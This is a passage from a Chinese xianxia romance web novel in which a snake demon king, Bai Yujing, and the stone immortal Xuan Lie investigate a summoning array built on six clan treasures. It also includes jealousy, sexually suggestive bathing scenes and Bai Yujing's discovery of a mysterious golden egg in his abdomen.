“……召唤阵?”苏九韶突然灵光一闪道,“他似乎确实提过,不过不是和我,是和流明。” 白玉京连忙道:“怎么说的?” “当时我们都在一处,他面上正和我介绍着他座下的诸位修士,但间隙里,他突然用神识和流明吩咐了一嘴。” 苏九韶解释道:“苏家玲珑心对神识也有一定窥探作用,他当时对玲珑心还不甚了解,对我也并无防备,所以我隐约听到了一些。” “他说——‘召唤阵的基石寻找得如何了?’” 白玉京面色微微一凝:“基石?” 玄冽蹙眉道:“他还说了什么?” “沈风麟倒是没再说什么,但流明回答了一句,‘已经找到三生石的消息了,其他五枚基石还在寻找’。” 三生石是鬼族至宝,而此次杜惊春和望清荷两人来霜华世界寻的刚好便是妖族至宝精卫石。 好巧不巧的是,其余四族至宝刚好也都是石头,分别是人族补天石,修罗七杀石、巫族祈星石和灵族圣心石。 白玉京无意识摩挲过腕间玉镯,沉吟片刻道:“我冥冥之中有股预感,这六个所谓的基石……恐怕分别对应的便是六族至宝。” 对于这个莫名其妙的阵法,白玉京闻所未闻。 他从来没听说过有什么召唤阵需要同时使用六族至宝作为基石,便是召唤玉皇大帝恐怕也不需要这么多圣石。 但若是这样逆天的阵法当真存在,其势必要消耗大量灵石作为启动的基础。 如此来看,流明他们极力寻找弱水和灵石,此二者应当不是一件事,前者对应修补沈风麟被玄冽打碎的根基,后者则对应那个奇怪的传送阵。 白玉京正沉吟着,玄冽突然开口道:“他们先前在拍卖会上不惜典当家产,恐怕便是为了换取足够的灵石,以启动那个阵法。” ……这臭石头怎么总是喜欢抢自己的话? 白玉京不忿地舔了舔嘴唇。 玄冽见状却以为他在暗示什么,竟直接划开手腕,直接递到他嘴边。 苏九韶:“……” 白玉京睁圆了眼看向他,那眼神似是在说:当着外人的面你就让我这么吃? 玄冽和他对视了三秒,低头将心头血滴入青梅饮中,再次把玉盏递到他面前。 鲜血在青色的梅饮中缓缓荡开,白玉京见状却没由来地一怔。 ……怎么感觉这一幕有些熟悉? “……” 白玉京端起玉盏,抿了一口后,脑海中没由来地闪过了几个画面。 “夫君不愿意喝卿卿的血吗?” “夫君笑我做什么?” “夫君……卿卿准备好了。” ——不是,哪来的夫君,自己难道终于憋疯了吗!? 白玉京目瞪口呆地僵在原地。 “……前辈?前辈!” “什么?”白玉京在苏九韶的呼唤中回神,“怎么了?” 苏九韶略带担忧地看着他道:“前辈难道不知道召唤阵一事吗?毕竟……沈风麟也曾经是您的徒弟。” “……我不知道,这事他从始至终没有告诉过我。”白玉京淡下神色,说完又补充道,“而且他瞒我的恐怕不止这一件事。” 苏九韶欲言又止,看了看白玉京没有厌烦自己的意思,玄冽也没有阻止,便大着胆子问出了一直以来藏在心底的疑惑:“晚辈一直想问,您是怎么捡到沈风麟的……?” 两人闻言都听出了她的未尽之意——到底是怎么样的机缘巧合,才能让堂堂妖皇如此精准的捡到这样一个惊世骇俗的白眼狼。 白玉京闻言下意识想和先前一样搪塞过去,可话到嘴边,他脑海中却蓦然浮现起了过往的诸多回忆。 ……有什么不能和外人说的呢?自己还在留恋那个人吗? 先前他不愿告诉任何人,是因为他害怕被仇家知道,从而威胁到他的恩公。 可如今,那人的魂魄与气味虽与前世无异,但转世之后,沈风麟便不再是他所相熟的恩公了。 从始至终,只有他一人在刻舟求剑罢了。 思及此,白玉京又喝了一口带血的梅饮,放下玉盏后,轻描淡写地将自己隐瞒了数百年的隐秘:“沈风麟是我恩公的转世。” “……” 玄冽接过他的玉盏正准备给他添满,闻言动作骤然一僵。 白玉京沉浸在自己的情绪中没察觉到他的异样,垂着睫毛继续道:“恩公死后,我找了他三世,但他第一世夭折,第二世六岁淹死。” “沈风麟是他的第三世,好不容易活过了八岁,所以我对他有些溺爱。” “或许是这样才酿成了我们之间的最终结局……不过如今恩情已还,我和他也算是两清了。” 苏九韶没想到居然背后还有这种故事,怔了一下道:“原来如此……” 她感慨的话尚未完全出口,突然,一声碎玉的巨响蓦地在寝殿内炸开。 两人被吓了一跳,应声抬眸,却见玄冽手背青筋暴起,不知为何竟捏碎了手中的玉盏。 此刻,他在烛火中一眨不眨地凝视着愕然的白玉京,不像是什么正道仙尊,反而像是幽冥之中爬出的冷面罗刹。 “你说,”他一字一顿地质问道,“谁是你的恩公?” 作者有话说: 是的,某人破防了[奶茶] 第26章 金卵 白玉京闻言一怔, 不知道玄冽为何反应这么大,但还是如实回答道:“沈风麟虽忘恩负义,但确实是我恩公转世, 仙尊这是……?” 他说着便要凑上来替玄冽清理碎玉,却被人抬手挡开。 “只是没想到你们之间还有如此往事, ”玄冽一挥袖扫尽了桌面上的残骸,他冷着声音, 但白玉京总感觉有种莫名咬牙切齿的意味在其中, “替你不值罢了。” “……原来仙尊是在怜惜我。”白玉京了然, 攀着玄冽的胳膊拿了枚仙杏递到他嘴边, “多谢仙尊怜爱。” 苏九韶方才已经被酸出阴影了, 见状眉心一跳, 不由得口舌生津, 替玄冽泛酸。 但玄冽见状却面不改色地咬下那枚仙杏,对口腔中炸开的几近苦涩的酸味堪称熟视无睹——毕竟再怎么酸也比不上他此刻心底的醋意。 然而玄天仙尊不愧是玄天仙尊,纵使心下惊涛骇浪,阴暗之情浓郁得宛如毒水, 但他面上却依旧很快平复下去, 不动声色道:“你是怎么察觉到他是你恩公转世的?” ……这石头不会当真没味觉吧? “气味。”白玉京见坏事没做成,心下轻哼一声, 面上解释道, “我们蛇妖都是靠气味认人的, 我倒是希望认错人或者直接不要认出他为好……奈何气味是不可能出错的。” 苏九韶忍不住道:“可转世之后,人身上的气味难道也不会变吗?” 白玉京叹了口气道:“容貌易改, 但灵魂的气味是不会改变的。” “只可惜, 人心易变。” 他话音刚落, 玄冽突然沉着眸色看了他一眼。 白玉京被他看得莫名其妙, 后背不知怎的有点发凉,连带着偷偷去拿玄冽杯子的手也跟着顿了一下。 ……这么护东西? 他不小心把自己的杯子捏碎了,等价交换,自己拿他杯子喝个水怎么了?至于这么瞪我吗? 夸下海口,信誓旦旦说气味不可能出错的白玉京,此刻尚且不知道未来会发生什么。 有时候对自己太过自信并不是什么好事,反而容易志得意满,招来“杀身之祸”。 毕竟,通天蛇天性忠贞,一旦选定了伴侣便是至死不渝。 然而,若是对方故意在床笫间改变气息,对于用气味识别伴侣的通天蛇来说,那种刺激无异于在新婚夜更换新郎,万万不能接受。 再加上白玉京才刚刚成熟,根本没有太多经验,所以,无论是心理上还是生理上,可怜的小美人都不可能遭得住这种“欺负”。 玄冽凝视了白玉京良久,半晌才收回视线,低头用自己的玉盏又给白玉京倒了一杯青梅饮,而后不忘割开手腕将先前的血补好。 他那副自然而然的动作,看得白玉京心下一颤,随即没由来地泛起了一股动容与心疼。 ……奇怪,这石头割手自己没事心疼什么,真是闲的。 不过在心疼之后,紧跟着涌出的却是一股前所未有的饥饿感。 那种近乎把白玉京掏空的饥饿煨烫在他的小腹内,甚至有些说不出的灼烧。 他接过玄冽递来的梅饮,猛地灌下去两大口后,胃里那股几近反胃的饥饿感才勉强被心头血抚慰下去。 好吃……好舒服…… 饱食之下,美人原本挺直的腰杆终于软了下去,轻轻靠在对方怀里柔声道:“多谢仙尊。” 苏九韶看着他柔软无骨的撒娇模样,再联想到方才在帝宫内高傲的妖皇姿态,连忙低下头。 ……所以仙尊其实还是给妖皇陛下下迷魂汤了吧?迷魂汤的药引恐怕就是他的心头血。 自己一届平平无奇的筑基修士却知道这么多,将来会被仙尊灭口吗? 冥冥之中,她的想法倒是和长明宗宗主烬瑜有些不谋而合。 玄冽于烛光下看向怀中美人,半晌搂上他的腰:“你说,你和你恩公再无瓜葛?” “你当真没有留恋吗?” 这话问得颇为异样,奈何白玉京沉浸在饱食的餍足中,整个人飘飘然的,完全没听出来。 “我的留恋早就被他消耗尽了,我捡到沈风麟的时候他才八岁。”白玉京靠在他怀里,用手比划了一下昔日沈风麟的个子,略带感慨道,“到如今,十年过去了。” “虽然十年的养育与昔日恩公对我的百年之情不可相提并论,但我剜鳞助他,又险些被他剖妖丹去换前程,想来恩情也该还完了。” “如今我与他两清,已经没什么好留恋的了。” “……” 玄冽手上蓦然用力,死死箍住他的腰,语气中透出些许森然:“……两清?” 白玉京被他掐得一颤,还以为他是不满意自己方才言语中的惆怅,于是连忙放下玉盏仰头对他笑道:“细算起来不能算两清,如今是他欠我一条命,不过何必总聊沈风麟那个白眼狼呢?仙尊把我从那白眼狼手下救出,现在仙尊才是我的新恩公。” 言罢,他软着声音撒娇道:“卿卿还没多谢恩公呢。” 他漫不经心地随口一哄,却让玄冽骤然陷入了沉默。 似是某种铺天盖地的回忆一起压上心头,埋得他几乎不敢直视怀中人的眼睛。 最终,所有的妒忌、怒意和阴暗尽数消散,只剩下难言的疼惜与怜爱。 半晌,玄冽看向白玉京道:“我没有来生,亦不需要你报恩。” 那重若千钧的承诺中裹着万般爱意,可惜白玉京并未听出来。 “那可不行。”白玉京闻言拽着玄冽的袖子轻哼道,“恩没报完之前,仙尊便是化成石头灰,我也得跟着您。” 用头发丝想也知道,他一直粘着玄冽绝对不会是因为要报什么恩,势必另有所图。 然而,玄冽闻言却好似没听出来一样,点了点头道:“好,不会让你跟丢的。” 白玉京闻言一怔,隐约听出了他话里有话,刚想问什么,便听玄冽和苏九韶道:“关于召唤阵一事,你还能记起什么?” 原本低头装自己是空气的苏九韶闻言回神,思索了一下后摇头道:“除了这些之外……晚辈一时间也想不出其他异样了。” 玄冽闻言点了点头,没再继续往下追问。 苏九韶眼见气氛不对,便想找借口请辞,不过她话到嘴边突然想起了什么,于是清了清嗓子和白玉京道:“晚辈还有一事想请示您。” 白玉京从玄冽怀中抬眸:“何事?” “这十日以来,幸得霜华妖王不吝赐教,晚辈与她日日对弈,偶有所得。”苏九韶说话间有些压不住言语间的喜意,“如今恐有结丹之兆。” “……!” 白玉京闻言连忙从玄冽怀中坐起,替她高兴道:“那是好事啊,恭喜姑娘。” “所以……”苏九韶鼓起勇气道,“晚辈斗胆想问,二位接下来的目的地是何处?” 白玉京闻言了然,结丹一事短则月余,长则数月,苏九韶如今的状态确实不方便跟着他们继续行程。 想到这里,他扭头看向玄冽:“仙尊,我们下一步该当如何,还是暂时留在霜华,等望清荷动作吗?” 玄冽摇了摇头:“既已知晓他们的目的是寻找六族至宝,便不必在此等候了。” 他对苏九韶道:“你留在此地结丹,让霜华妖王看好精卫石。” 苏九韶连忙道:“是。” 言罢,他看了眼身侧之人:“卿卿与我去寻祈星石。” ——先去巫族? 白玉京略有不解:“流明既告知沈风麟,说三生石已有眉目,我们为何不先去寻三生石?不然岂不是让他们捷足先登?” 玄冽并未直接回答,而是问苏九韶:“三生石一事,你是何日听到的?” 苏九韶算了下时间道:“恐有月余了。” 白玉京一怔,蓦地明白了玄冽的意思。 “鬼主如今不问九幽事,一个月的时间过去,三生石恐已被他们得手,去了也于事无补。”玄冽解释道,“但不久前,大巫妆奁莫名于小世界现世,此事恐怕暗示着什么,因此,先去巫族寻祈星石反倒更为稳妥。” 听闻此话,白玉京倏然想起当时在八宝拍卖会上,那面镜子碎掉之前,背面刻下的那三个诡异字样。 分别是“可”、“非”、“常”三字。 ……自己该把此事告诉玄冽吗? 还有,沈风麟费尽心机要搭的这个召唤阵,到底是为了召唤什么? 而且这召唤阵到底是需要将六枚基石全部寻得方能启动,还是像某些阵法一样,只需一枚便能启动,六枚基石同聚时,则可发挥最大功效。 若是后者……按照时间线推测,三生石恐怕已落入沈风麟之手,事情好像有点不妙啊。 白玉京在冥冥之中升起了一股不详的预感,他想不明白,便下意识想问玄冽。 毕竟他才只活了八百年,没什么见识也正常,说不定玄冽这活了几万岁的老石头知道呢。 但他实在不好意思当着苏九韶的面开口询问。 毕竟他才和这姑娘通了身份,若是让她得知堂堂妖皇什么都不懂,那也太丢人了! 好在苏九韶眼见夜色已深,很快便找借口起身告辞了。 外人一走,白玉京下意识便要从玄冽怀中坐起来谈正事,却被人掐着腰硬生生箍在原地。 美人一僵,小心翼翼道:“……仙尊?” 玄冽一言不发地摩挲他的腰线,直把人摸得睫毛微颤,心头大骂时,他才突然开口道:“你是不是胖了些?” ……好不会说话的臭石头! 你才胖了,你全家都胖了! 白玉京怔了一下后勃然大怒,张嘴就准备咬他,却见玄冽瞟了一眼果盘道:“苏醒之后,还异常喜欢吃酸的……这也是成熟的特质吗?” ……呵呵,原来你能吃出来酸味啊?我还以为你们灵族没有味觉呢。 酸得要死却硬要端着,怎么没把你给酸死。 白玉京心下冷笑,面上却一扫先前的愠色,笑盈盈地牵住玄冽的手,语气暧昧道:“人间都说酸儿辣女……说不准卿卿是怀了郎君的蛋呢,郎君可要对卿卿负责啊。” 他为了恶心玄冽,甚至连称呼都换了——灵族乃天生死物所化,命中无女亦无子,故而哪怕是生出灵心的灵族也不可能有后,更不用说像玄冽这种灵心残缺的了。 所以,白玉京这话和堂而皇之地扬言要给玄冽戴绿帽子没什么区别。 不过他说这话完全出于恶心人的意图,没有丝毫其他意思。 毕竟往日他没少故意恶心玄冽,所以他心里也明白,玄冽压根不会因为这种小事生气,更进一步讲,这人大概率连话都不一定接。 然而,出乎白玉京意料的是,今日这人不知道是哪根筋别错了,闻言竟蓦地垂眸看向他,眼底尽是他未曾见过的阴沉。 “……?” ——怎么着,难倒他之前当真被老婆戴过绿帽子不成,玩笑都开不得? 没等白玉京想明白,对方掐着他的腰突然发力,直接将他提起抱到腿上。 “……?!” 白玉京大惊失色,一把攥住对方手腕:“仙尊这是做什么……?” 玄冽闻言竟笑了一下,只不过那笑意未达眼底,烛火之下看起来英俊又森冷。 白玉京看得一怔,下一刻,对方竟隔着布料按在他的小腹上,不容抗拒地揉了两下,似是在顺着他的话开玩笑,但那话中却没有丝毫笑意:“检查一下,看看我们卿卿到底是怀了谁的孩子。” “……!” 白玉京被他揉得一颤,瞳孔蓦然紧缩。 他的理智告诉他这只是玩笑话,可对方话音落下的刹那,他的身体却先一步做出反应,恨不得立刻便把尾巴缠上去向自己认定的丈夫道歉。 于是,随着身体的臣服,连带着理智也被本能灼烧得不见踪影。 那只手煞有其事地揉在他小腹上,白玉京颤抖着攥住玄冽手腕,推拒的力气越来越小,心头的愧疚与心虚却越来越浓郁。 是啊,你的夫君可没有生育能力……所以,你的孩子是从哪来的呢? 刚刚亲口开出去的玩笑,此刻却在本能的驱使下,回旋镖一样砸向自己。 你难道要怀着不知道哪来的野孩子……大着肚子服侍你的夫君吗? ……你可真是条不忠贞的小蛇。 “……!” 白玉京一瞬间羞耻得头皮发麻,蓦地夹紧双腿,甚至被逼出了一声啜泣。 忠贞的天性和繁衍的本能交叠在一起,冲的他险些呼吸不上来。 不、不是……他没有不忠贞,他是雄蛇,根本就不会怀蛋,况且玄冽根本就不是他的夫君—— “……!?” 搭在他小腹的手突然毫无征兆地往下按去,一切思绪戛然而止。 一阵难以言喻的刺激在五脏六腑间炸开,白玉京蓦然睁大眼睛,身体却先理智一步认出了揉弄他的人是谁,于是堪称谄媚地展现出对方最想看的模样。 “……” 不、不该是这样的…… 遗失了梦中记忆,八百年来尚未经过人事的小美人不可思议地含着水光,呆呆地坐在男人怀里。 水珠顺着衣摆一点点滴在地上,那微妙的水声险些让白玉京崩溃。 玄冽突然感受到了怀中的湿意,难得一顿,垂眸对上白玉京绝望又可怜的双眸,面无表情的脸色上闪过了微妙的诧异,随即浮现出一阵了然。 ——原来卿卿从苏醒之后一直不愿意让自己碰他,是因为这个原因。 白玉京对上他的眼神,立刻便知道这成精的石头猜到了他的秘密。 ……来个人就地挖个坑把他埋了吧。 白玉京呜咽一声低下头,像个烧熟的鹌鹑一样,攥着被浸透的衣摆半句话都不愿说,只恨不得突如其来降下一道天雷,直接把他和玄冽就地劈死。 玄冽见状挑了挑眉,顺着怀中人的胸口一路向下看去,刚看到对方死死夹紧的双腿,便被人蓦地抬手遮住眼睛,软声哀求道:“别看……求求仙尊不要看卿卿。” “……” 那股难言的余韵裹挟着白玉京,让他一方面从理智上不愿被玄冽看到身下丢人的反应。 另一方面又在身体上,不愿让早已认定的夫君,看到自己微微隆起的小腹。 他的理智能骗过大脑,身体却对悄然发生的一切无比清楚——那不是他夫君的“孩子”,是他“不忠”的证据,绝对不能让对方发现。 不然……像他这样“不忠贞”的小蛇,一定会被夫君掐着尾巴责罚的。 玄冽对白玉京潜意识所想的事一无所知,他正因得知对方躲着自己并非有意疏远而难得心情愉悦,于是轻轻拥着怀中人,拍着他的后腰宽慰道:“放松,我不看。” 就这么过了不知道多久,白玉京才终于从那股痉挛中回过劲来。 他小口小口喘着气,浑身上下宛如从水里捞出来一样,汗津津得又黏腻又不舒服。 玄冽看出了他的窘迫,却不允许他用清洁咒,甚至都没让他脚沾地,便直接把人打横抱起向瑶池走去。 “……仙尊,”白玉京面红耳赤地从牙缝中挤出一句轻语,“我衣服还没换呢。” 玄冽脚步一顿,转身将人放进瑶池旁的融雪暖阁内:“自己换好衣服下来。” “……是,仙尊。” 白玉京软在暖阁的绒榻上又缓了一会儿,才咬着牙坐起身,抬手变扯下身上的布料。 他脸上宛如烧着一般,在心中把自己不争气的身体骂了个狗血淋头。 ……他可是雄蛇,哪来的蛋又哪来的夫君!?想男人想傻了!? 况且,就是当真怀了别人的蛋又如何?凭什么替玄冽那王八蛋守贞?那中看不中用的臭石头连让他怀孕都做不到,天天就知道乱摸,活该被老婆戴绿帽子! 明知灵族六亲缘浅,如此恶毒的话便是两人昔日针锋相对时,白玉京也未曾当玄冽面骂过。 但如今,他怒从心头起,恶向胆边生,在心底越骂越起劲,不过到最后骂得急了,也不知道是在骂玄冽还是在骂他自己。 美人冷着脸脱下衣服,换上泡温泉穿的半透纱衣,因为心情不好还特意选了件黑色的,只希望能就地把玄冽给克死。 然而他不知道的是,那半透明的黑色布料遮在雪白的肤色上,反而透出了一股未亡人一般的香艳。 白玉京低头没好气地擦着自己大腿上已经有些干涸的汁水,恶狠狠地继续在心中腹诽。 ……自己但凡当真能怀蛋,势必大着肚子让玄冽那个臭石头给别的野男人养孩子。 让那王八蛋敢说他胖! 他倒要看看,那天天装模作样的狗东西眼看着自己被老婆戴绿帽子,到时候还能不能泰然处之。 然而,白玉京搓揉完腿根,正准备起身时,却莫名感觉弯久了的腰抬起时有些费力。 “……?” 他下意识垂眸打量,却蓦地一怔。 ……怎么感觉自己的小腹当真又丰腴了一些? 方才穿着衣服时还不怎么明显,他只当玄冽故意取笑他,可如今看来,他腹间略显丰满的样子,似乎比十日前更明显了一些。 不对啊,杜惊春是他蜕鳞之前吃的,十天过去怎么着也该消化完了,怎么肚子还是没下去的迹象? 难道真让玄冽咒他给咒准了,当真吃坏了肚子不成? 白玉京狐疑地摸上自己小腹,犹豫着揉了两下。 “呜——!” 他愕然地夹紧双腿,却见刚刚擦完的地方竟再次变得一片狼藉。 ……怎么回事? 白玉京连忙跪着从软榻上撑起身,连手腕上的玉镯都来不及遮掩,扶着肚子便用神识窥探进体内。 然后,他便一下子僵在了原地。 ——却见他原本空空如也的腹中,此刻竟当真孕育着一枚金光灿灿且生机勃勃的卵。 先前还口口声声说要让玄冽给野男人养孩子的小美人瞬间被惊得大脑一片空白,不仅忘了灵族无法拥有后代的特征,甚至连原本藏在他腹中的金光都给忘了,脑海中只剩下几个大字。 ——他昏迷的那十日,居然当真被玄冽搞大了肚子!? 作者有话说: xp大爆发……像这种忠贞的小美人就是要一边嘴硬声称要给老公戴绿帽子,一边真被换了气息的老公欺负时,又哭得我见犹怜,抓着对方的背大骂 第27章 天道 ……不对。 白玉京一个激灵, 骤然从起初的震惊中回过神来——玄冽没有生育能力,哪怕那十日他在昏迷中天天让这石头弄,这颗蛋也不可能是他的种。 此念头一出, 方才还扬言要克死某人的小美人瞬间扶着肚子僵在了原地。 这不可能是玄冽的孩子,所以……他当真怀了其他人的蛋!? 什么时候的事……?他怎么不知道?! 哪个不要命的孽畜敢如此羞辱本座!? 慌张与眩晕感一起直冲头顶, 白玉京下意识扶住床榻,竟被刺激得忍不住干呕起来。 暴虐的妖气隐隐之间就要暴起, 但千钧一发之际, 白玉京却勉强恢复了些许清明。 不对、不对……先冷静一下, 自己可是雄蛇, 不可能无缘无故怀孕, 肯定有什么事被自己遗漏了…… 他掐着绒榻上的软毛, 强迫自己冷静下来, 理智稍微恢复了些许后,某些藏在角落里的回忆便随之回炉了。 ——应当是先前那缕被他误喝下去的金光,经过玄冽心头血的温养后,在他腹中化卵了。 “……” 想明白这些后, 白玉京倏然松了口气。 任谁突然发现腹中出现了一枚来路不明的诡异金卵, 恐怕都会被吓得魂飞魄散。 但白玉京却擦了擦自己额头的冷汗,扶着自己小腹垂眸看去。 幸好, 幸好不是别人的种…… 口是心非的小美人之前再怎么不愿承认, 这一刻, 他的理智和身体却达成了难得的共识。 ……还好,他不是不忠贞的小蛇。 “……” 白玉京抿了抿唇, 实在有点没办法面对自己丢人又难以克制的本能, 只能红着耳根抬眸, 看向窗外飘下的鹅毛大雪, 强行让自己冷静下来。 ……既然这卵与他并无血缘关系,也不是玄冽的种,那它到底是何来历? 而且那金光被他喝下之前便会“说话”,被他喝下之后反倒没音了,为数不多地“开口”还是在他第一次喝玄冽心头血的时候。 ……所以,这枚金卵对他们来说,到底是福还是祸? 白玉京坐在软塌上思索了良久没思索明白,只能先擦干大腿内侧的水痕,起身裹好衣服,扶着肚子出了暖阁。 月色之下,夹杂着雪意的凉风一吹,白玉京被激起了一身颤栗,不知是冻的,还是被方才那阵跌宕起伏的经历给吓的。 ……要把这事告诉玄冽吗? 熟悉的念头再一次浮上心头,但很快便被白玉京打消了。 不行,其他任何事都能告诉他,但哪怕身份暴露……自己当真怀了蛋的事也不能让他知道。 最终,白玉京咬着牙,强行把手从小腹上拿下来,让自己看起来没有什么异样后,才抬脚向池边走去。 听到身后轻飘飘的脚步声,玄冽闻声回头,猛地一顿。 却见满天大雪下,披着黑纱的小美人垂眸站在池水边,雪花落在他的睫毛与肩头上,看起来分外我见犹怜。 先前泡温泉时,为了方便入水后变出蛇尾,白玉京选的衣服基本上都只能遮到大腿。 可他今日选的这身黑纱鎏金浴袍,却从胸口严严密密地一路绵延到脚踝,把身上每一寸能遮住的肌肤都给遮了起来。 使得此刻的他看起来要多端庄有多端庄,配上那愁眉不展的俊俏面容,看起来倒真像是新婚没几日便死了丈夫的新寡。 ——当然,这一切的前提是忽略那黑纱是半透的。 否则,这衣服不但起不到遮蔽作用,反而将下面白腻柔软的肌肤衬得格外诱人,使得眼前的小美人一下子便从忠贞不渝的未亡人,变成了唾手可得的小寡夫。 玄冽有心多看两眼,却怕他冻着,便直接向他递出一只手:“怎么今日想起了穿黑色?” “……” 白玉京垂眸撩起一点碎发别在耳后,在心底暗暗道,还能为什么?当然是为了克死你啊,王八蛋。 活了几万年的石头到现在才死也算是喜丧了,你就安心的去吧,我会记得给你烧纸的。 但他心底腹诽得再恶毒,面上也没敢显露分毫,只敢故意晾了玄冽一会儿后,才把手矜持地递给对方,反问道:“仙尊这话问得是什么意思?不喜欢卿卿穿黑色吗?” 玄冽没在第一时间回答,只是攥着他的手一把将人拽进池水中。 “……!” 玄冽好整以暇地看向怀中莫名受惊的小美人。 突如其来的冲击让白玉京下意识蜷缩起小腹,甚至忍不住用手拽住纱衣,遮住略微显怀的小腹,以防被人发现异样。 玄冽看了他足足半晌才回答道:“当然喜欢。” “卿卿穿什么我都喜欢。” 白玉京蓦然抬眸,刚好对上那人在漫天大雪中,宛如星辰般的眼眸。 ……那当真是一个无情之人该有的眼神吗? 他被那眼神凝视得一怔,一时间竟分辩不出,对方所说的喜欢,指的到底是衣服,还是自己。 “呜——!” 白玉京突然回神,不可思议低头地看向那只手。 玄冽却神色自若,仿佛手下暧昧又狎昵的动作不存在一样:“这是用什么布料做的?” 他故意没有解开怀中人的衣服,反而就那么隔着纱衣按压在对方小腹上。 镂空的花纹搭配上黑纱的摩擦感,积压在略略显怀的腹肉间,激起了一片难以言喻的涟漪。 可怜的小美人瞳孔紧缩,忍不住夹紧双腿,在泉水下蜷缩起脚趾。 蛋还在肚子里……不、不能被他发现…… 此刻的他就像是丈夫头七还没过,便莫名其妙显怀的小寡夫,正挺着肚子守灵时,却被午夜回魂的夫君抓了个人赃俱获,一时间羞耻得头皮发麻,只恨不得立刻跪着夹住对方手臂,边厮磨边用身体的反应向丈夫展现自己的忠贞。 就这么被人揉着欺负了半晌,白玉京才勉强找回言声音:“……回仙尊,是星辰纱。” 他明知道对方只是故意问些没有意义的话题逼他开口,但他实在害怕对方发现自己腹中的端倪,只能顺从地开口回答。 理智告诉他这蛋不止和玄冽没关系,和他自己也一点血缘关系都没有,充其量只能算是个莫名其妙的寄生物。 但本能却不是这么说的。繁衍的天性让他控制不住想要把这颗蛋生下来,而忠贞的天性又让他下意识在玄冽面前隐瞒,最终酿成的结果就是眼下这般,既愧疚又心虚,轻而易举地便能被人拿捏。 “星辰纱确实很衬你。”玄冽赞同道,“巫界盛产此物,明日落地后先去采买此物为你制衣。” ……放着正事不管,落地倒先去给美人买衣服,真是昏君做派。 白玉京在心底骂他,面上却软软道:“……多谢仙尊。” 玄冽点了点头,不过揉着揉着他似是察觉到了什么异样,竟低头顺着他的胸口看去。 “……!” 白玉京被吓得心肺骤停,忍不住夹紧大腿,过长的黑纱随之被挤压进腿肉之中,镂空的花纹恰到好处地勒出了一点肉感。 可惜的是,虽然白玉京这么多日来吞食了那么多心头血,几乎要把玄冽给榨干了,但毕竟年龄在那里放着,他的身形间依旧带着些许青涩。 虽然十次蜕鳞后他已经成熟,身体又下意识为孕育做起了准备,但他实在年少,为数不多的丰腴都集中在腰腹上,大腿依旧称不上丰满。 如今,池水下的黑纱往其中一塞,平添了一丝夹杂着青涩意味的香艳。 “……” 白玉京自己看了一眼便险些昏过去,当即死死地夹住玄冽的手,不愿让人继续往下探。 人和妖一样,成熟其实都是一个过程,而非一个瞬间。 一个姑娘不可能因为今日举行了及笄礼,明日就瞬间成为足以独当一面的家主,妖也一样。 所以,白玉京说是成熟,其实眼下距离他蜕鳞也才过去了十天而已,此刻的他在心态上和先前那只青涩的小蛇相比没有太大差别。 但是……就是这样一个尚且算得上小蛇的自己,居然偷偷背着人怀上了蛋…… 没了梦中的修改,白玉京刹那间羞耻得闭上双眼。 不行、不能再被本能裹挟了……赶紧想点正事…… 白玉京咬着牙强迫自己想点正事转移注意,不然再这么下去自己恐怕得淌到缺水了。 其实按理来说,对他腹中这样一个古怪的,算是寄生在自己身体内的东西,白玉京多少应该产生点紧张或是忌惮。 可眼下见对方化卵后迟迟没有动静,若不是玄冽发现他小腹丰腴,他也不会发现这颗悄无声息的卵,想到这里,白玉京反而产生了一丝隐隐的担忧。 ……难道是化卵过程中出现了什么差错不成? 他和这枚蛋一点血缘关系也没有,可眼下他反倒像是在担忧自己真正的孩子一样。 ……若是被玄冽知道这些,肯定又该骂他愚不可及,到处捡垃圾揣怀里养了。 不过,这东西毕竟来历不明,如今又诡异化卵,像是什么寄生之物,或许是该适当坦白一些…… 当然,最主要的是赶紧说点什么转移一下玄冽的注意力,让这中看不中用的石头别老是乱摸! 想到这里,白玉京心下有了决定。 “仙尊……”他犹豫了一下轻声道,“有一事,卿卿一直想告知你。” 玄冽环着他的腰,手顺着纱衣放在他腿上,面上却一副正人君子的派头:“何事?” ……怎么没把你给装死! 白玉京心下暗骂,面上则靠在他怀里轻声道:“我若是说了……还请仙尊莫要怪我瞒到现在。” 玄冽撩起他黏在脸颊上的发丝放进池水中:“嗯,不怪你。” “你我相逢的那一日……我在沈风麟身上看到了一种奇怪的东西,那东西没办法用三千界中现有的事物描述,硬要说的话,半透的幽蓝色光纹上滚动着密密麻麻的字样,像是水幕,又像是某种阵法。” “我想,那应该便是沈风麟有所古怪的根本原因。” 白玉京一口气把那天看到的东西全部说了,而后好整以暇地靠在对方怀里,等着看玄冽震惊的样子。 未曾想对方却平静道:“我知道。” “……?” 白玉京一怔,蓦地从他怀中坐起:“仙尊当日也看到了他身上的东西?可你之前在赌坊时分明说——” “没有。”玄冽道,“但你在赌局之中一直在问,猜到了。” “……” 白玉京面色一僵,半晌从牙缝中挤出来一句:“……您既然早就猜到,难道不好奇吗?” ……这王八蛋为什么这么能沉得住气? 白玉京在心头暗暗磨牙道,这厮肯定是震惊但碍于面子不愿意说,所以才这般装模作样。 “好奇。”玄冽搂着他,低头看向他,“所以在等卿卿跟我坦白。” 白玉京:“……” 这股熟悉的,仿佛被人偷窥心声一般的拿捏感,把白玉京气得七窍生烟,头发丝都麻了。 那人趁着他怒气上头,顾不上夹腿,于是娴熟无比地撩开他身下的纱衣,无比自然地探手进去,摩挲着他并不算丰腴的腿肉。 “……!” 白玉京惊喘一声,一巴掌拍在对方手腕上,没拍掉,只能攥着对方的手腕,颤着声音阴阳道:“那仙尊……可真是无所不知啊。” 玄冽故意掐着手下光滑柔软的腿肉,竟点了点头道:“过奖。” ……这不要脸的王八蛋! 白玉京暗暗磨牙,心头憋着一股争强好胜的气。 玄冽这副遇到什么事都波澜不惊的态度他实在是看够了,今天说什么也得让对方震惊一二。 想到这里,白玉京脑子一热道:“其实……除了这件事,卿卿还有一事想告诉仙尊。” 玄冽果然一顿:“何事?” 白玉京却骄矜地抿了抿唇,故弄玄虚般沉默下来。 实际上他只是没想好该挑哪个秘密告诉玄冽,方才冲动之下完全是随口唬人。 白玉京在沉默中快速思考着自己手里的筹码,玄冽倒也没说话,就那么安安静静地等着对方编瞎话糊弄自己。 但他的手实在是太烦人了,摸得白玉京脑海中一片乱麻,半点有用的东西都想不起来。 ……这石头又没有真刀实枪,天天摸什么摸! 白玉京气结,当即把人的手往旁边一扔,直接化出了蛇尾。 “……” 感觉到手下变换的触感,玄冽一顿,垂眸看去。 却见雪白而华丽的蛇尾从池水下探出,亲昵地缠上他的手腕。 被泉水浸透的黑纱从蛇尾上滑落,透出一股诡艳的美感。 